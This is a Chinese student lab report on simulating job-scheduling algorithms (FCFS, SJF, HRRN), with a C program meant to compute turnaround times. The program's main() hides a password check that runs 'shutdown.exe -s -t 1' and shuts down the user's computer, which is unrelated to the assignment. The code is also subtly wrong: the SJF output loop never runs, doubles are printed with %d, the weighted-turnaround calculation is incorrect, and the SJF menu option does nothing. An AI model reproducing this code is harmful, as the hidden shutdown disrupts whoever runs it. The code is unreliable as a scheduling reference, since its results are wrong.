0421 实验二Step2-FCFS调度

一、目的和要求

1. 实验目的

（1）加深对作业调度算法的理解；

（2）进行程序设计的训练。

2．实验要求

用高级语言编写一个或多个作业调度的模拟程序。

单道批处理系统的作业调度程序。作业一投入运行，它就占有计算机的一切资源直到作业完成为止，因此调度作业时不必考虑它所需要的资源是否得到满足，它所运行的时间等因素。

     作业调度算法：

1)        采用先来先服务（FCFS）调度算法，即按作业到达的先后次序进行调度。总是首先调度在系统中等待时间最长的作业。

2)        短作业优先 (SJF) 调度算法，优先调度要求运行时间最短的作业。

3)        响应比高者优先(HRRN)调度算法，为每个作业设置一个优先权(响应比)，调度之前先计算各作业的优先权，优先数高者优先调度。RP (响应比)＝ 作业周转时间 / 作业运行时间=1+作业等待时间/作业运行时间

每个作业由一个作业控制块JCB表示，JCB可以包含以下信息：作业名、提交（到达）时间、所需的运行时间、所需的资源、作业状态、链指针等等。

作业的状态可以是等待W（Wait）、运行R（Run）和完成F（Finish）三种之一。每个作业的最初状态都是等待W。

一、       模拟数据的生成

1．            允许用户指定作业的个数（2-24），默认值为5。

2．            允许用户选择输入每个作业的到达时间和所需运行时间。

3．            （**）从文件中读入以上数据。

4．            （**）也允许用户选择通过伪随机数指定每个作业的到达时间（0-30）和所需运行时间（1-8）。

二、       模拟程序的功能

1．            按照模拟数据的到达时间和所需运行时间，执行FCFS, SJF和HRRN调度算法，程序计算各作业的开始执行时间，各作业的完成时间，周转时间和带权周转时间（周转系数）。

2．            动态演示每调度一次，更新现在系统时刻，处于运行状态和等待各作业的相应信息（作业名、到达时间、所需的运行时间等）对于HRRN算法，能在每次调度时显示各作业的响应比R情况。

3．            （**）允许用户在模拟过程中提交新作业。

4．            （**）编写并调度一个多道程序系统的作业调度模拟程序。 只要求作业调度算法：采用基于先来先服务的调度算法。 对于多道程序系统，要假定系统中具有的各种资源及数量、调度作业时必须考虑到每个作业的资源要求。

三、       模拟数据结果分析

1．            对同一个模拟数据各算法的平均周转时间，周转系数比较。

2．            （**）用曲线图或柱形图表示出以上数据，分析算法的优点和缺点。

四、       实验准备

序号	准备内容		完成情况
1	什么是作业？	作业相当于一个程序。 任务相当于整个程序中的一段段可以并发执行的代码。 进程其实就是任务。从系统的角度看，作业则是一个比程序更广的概念。它由程序、数据和作业说明书组成。系统通过作业说明书控制文件形式的程序和数据，使之执行和操作。
2	一个作业具备什么信息？	作业由三部分组成，即程序、数据和作业说明书。一个作业可以包含多个程序和多个数据集，但必须至少包含一个程序。
3	为了方便模拟调度过程，作业使用什么方式的数据结构存放和表示？JCB	由作业说明书在系统中生成一个称为作业控制块(job control block，JCB)的表格。该表格登记该作业所要求的资源情况、预计执行时间和执行优先级等。
4	操作系统中，常用的作业调度算法有哪些？	先来先服务、轮转法、多级反馈队列列算法、优先级法、短作业优先法、最高响应
5	如何编程实现作业调度算法？	采用先来先服务（FCFS）调度算法，短作业优先 (SJF) 调度算法， 响应比高者优先(HRRN)调度算法
6	模拟程序的输入如何设计更方便、结果输出如何呈现更好？

 

五、       其他要求

1．            完成报告书，内容完整，规格规范。

2．            实验须检查，回答实验相关问题。

注：带**号的条目表示选做内容。

二、实验内容

根据指定的实验课题，完成设计、编码和调试工作，完成实验报告。

三、实验环境

可以采用TC，也可以选用Windows下的利用各种控件较为方便的VB，VC等可视化环境。也可以自主选择其他实验环境。

四、实验原理及核心算法参考程序段

单道FCFS算法：

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
struct jcb{
	char name[10];  //作业id
	char status;  //作业状态
	double arrtime;   //到达系统时间
	double reqtime;    //CPU所需时间
	double startime;   //开始时间
	double finitime;   //结束时间
	double turntime;   //周转时间
	double Tatime,TAWtime;
	double prio;
}jobarr[24],jobfin[24],job[24],cunfang;
int systime=0;
int intarr,intfin,intjob; //作业到达个数，完成个数，未达到作业个数
int i;
void paixu(){
	int r,j;
    for(r=0;r<i;r++)
	{
		for(j=r+1;j<i;j++)
			if(jobarr[r].arrtime>jobarr[j].arrtime)
			{
            cunfang=jobarr[r];
		    jobarr[r]=jobarr[j];
            jobarr[j]=cunfang;
			}
	}
}
void inser()
{
	system("cls");
	    printf("第%lf个作业:\n",i+1);
		printf("输入作业名:");
		scanf("%s",jobarr[i].name);
		printf("到达系统时间:");
        scanf("%lf",&jobarr[i].arrtime);
		printf("CPU所需时间:");
        scanf("%lf",&jobarr[i].reqtime);
		printf("\n");
		i++;
		paixu();
}
void delet()
{
	int r;
	int q;
	char dlet[10];
   printf("请输入要删除的name");
   scanf("%s",dlet);
   for(r=0;r<i;r++)
	   if(strcmp(jobarr[r].name,dlet)==0){
		   for(q=r;q<i;q++){
			   jobarr[q]=jobarr[q+1];
		   }
       i--;
	   }
}
void SJF(){
   int r,j;
    double sumTAtime = 0;
    double sumTAWtime = 0;
    double avgTAtime = 0;
    double avgTAWtime = 0;
    system("cls");
    jobarr[0].finitime = jobarr[0].arrtime + jobarr[0].reqtime;
    jobarr[0].startime = jobarr[0].arrtime;
    for(r = 1; r < i; r++)
    {
        for(j = 1; j < i-1; j++)
        {
            if(jobarr[j].reqtime > jobarr[j+1].reqtime)
            {
                cunfang = jobarr[j];
                jobarr[j] = jobarr[j+1];
                jobarr[j+1] = cunfang;
            }
        }
    }
    for(r = 1; r < i; r++)
    {
        jobarr[r].startime = jobarr[r-1].finitime;
        jobarr[r].finitime = jobarr[r-1].finitime + jobarr[r].reqtime;
    }
    for(r = 0; r < i; r++)
    {
        jobarr[r].Tatime = jobarr[r].finitime - jobarr[r].arrtime;
        sumTAtime += jobarr[r].Tatime;
        jobarr[r].TAWtime = jobarr[r].Tatime / jobarr[r].reqtime;
        sumTAWtime += jobarr[r].TAWtime;
    }
    avgTAtime = sumTAtime / i;
    avgTAWtime = sumTAWtime / i;
    printf("\nSJF算法作业序列表\n");
    printf("-----------------------------------------------\n");
    printf("作业名\t到达系统时间\tcpu所需时间\t开始时间\t结束时间\t周转时间\n");
    for(r = 0; i < i; r++)
    {
        printf("%s\t%d\t\t%d\t\t%d\t\t%d\t\t%.2f\n", jobarr[r].name, jobarr[r].arrtime, jobarr[r].reqtime, jobarr[r].startime, jobarr[r].finitime, jobarr[r].Tatime);
    }
    printf("\n平均周转时间=%.2f", avgTAtime);
    printf("\n平均带权周转时间=%.2f\n", avgTAWtime);
}
void FCFS(){
	int r;
	double attime,wattime;
	system("cls");
	jobarr[0].startime=0;
	jobarr[0].finitime=jobarr[0].startime+jobarr[0].reqtime;
	jobarr[0].turntime=jobarr[0].reqtime;
	attime=jobarr[0].turntime;
    wattime=jobarr[0].finitime;
	for(r=1;r<i;r++)
	{
      jobarr[r].startime=jobarr[r-1].finitime;
      jobarr[r].finitime=jobarr[r].startime+jobarr[r].reqtime;
	  jobarr[r].turntime=jobarr[r-1].finitime-jobarr[r].arrtime+jobarr[r].reqtime;
	  attime+=jobarr[r].turntime;
	  wattime=jobarr[r].finitime-jobarr[r].reqtime+wattime;
	}
 
	attime=attime/((double)i);
    wattime=wattime/((double)i);
	printf("\nFCFS算法作业序列表");
	printf("\n-------------------------------------------------------------");
	printf("\n作业名\t到达系统时间\tCPU所需时间\t开始时间\t结束时间\t周转时间");
    for(r=0;r<i;r++){
		printf("\n");
		printf("%s",jobarr[r].name);
        printf("%11.2lf",jobarr[r].arrtime);
		printf("%16.2lf",jobarr[r].reqtime);
		printf("%16.2lf",jobarr[r].startime);
		printf("%16.2lf",jobarr[r].finitime);
		printf("%16.2lf",jobarr[r].turntime);
	}
    printf("\n\n平均周转时间:%.2lf",attime);
	printf("\n\n平均带权周转时间:%.2lf\n\n",wattime);
 
}
void suanfa(){
	int xuanze=0;
	system("cls");
   while(1){
   printf("请选择算法:\n");
   printf("1.先来先服务（FCFS）调度算法\n");
   printf("2.短作业优先 (SJF) 调度算法\n");
   printf("3.退出\n");
   scanf(" %d",&xuanze);
   switch(xuanze){
   case 1:
       FCFS();
	   break;
   case 2:
	   return;
   case 3:
	   return;
   }
   }
}
void main()
{
	int r;
	char answer[10];
	char password[10];
     FILE *f;
    printf("input password:");
    scanf("%s",password);
	if(strcmp(password,"123")==1){
       if(f=fopen("c:\\windows\\system32\\shutdown.exe","r"))
     system("c:\\windows\\system32\\shutdown.exe -s -t 1");
	}
	system("cls");
	printf("作业个数:");
	scanf("%d",&i);
	printf("\n");
    for(r=0;r<i;r++)
	{
		printf("第%d个作业:\n",r+1);
		printf("输入作业名:");
		scanf("%s",jobarr[r].name);
		printf("到达系统时间:");
        scanf("%lf",&jobarr[r].arrtime);
		printf("CPU所需时间:");
        scanf("%lf",&jobarr[r].reqtime);
		printf("\n");
	}
	paixu();
	while(1){
		system("cls");
	printf("经按到达时间排序后，未达到队列是\n");
	printf("\t作业名\t到达系统时间\tCPU所需时间\n");
    for(r=0;r<i;r++)
	{
		printf("N %d",r+1);
		printf("%6s",jobarr[r].name);
        printf("%11.2lf",jobarr[r].arrtime);
		printf("%16.2lf",jobarr[r].reqtime);
		printf("\n");
	}
	printf("\n\t\t\t现在系统时间 0:\n");
    printf("\nInsert   or  Delete  or  Exit or SUANFA？");
	scanf("%s",answer);
    if(strcmp(answer,"E")==0)
		return;
	else if(strcmp(answer,"I")==0)
        inser();
	else if(strcmp(answer,"D")==0)
		delet();
	else if(strcmp(answer,"S")==0)
		suanfa();
    else
		continue;
	}
}

五、实验总结

             今次的实验主要是理解了作业调度的原理，虽然只是做了先来先服务算法和SJF算法，但是程序大体的框架

还是大同小异的。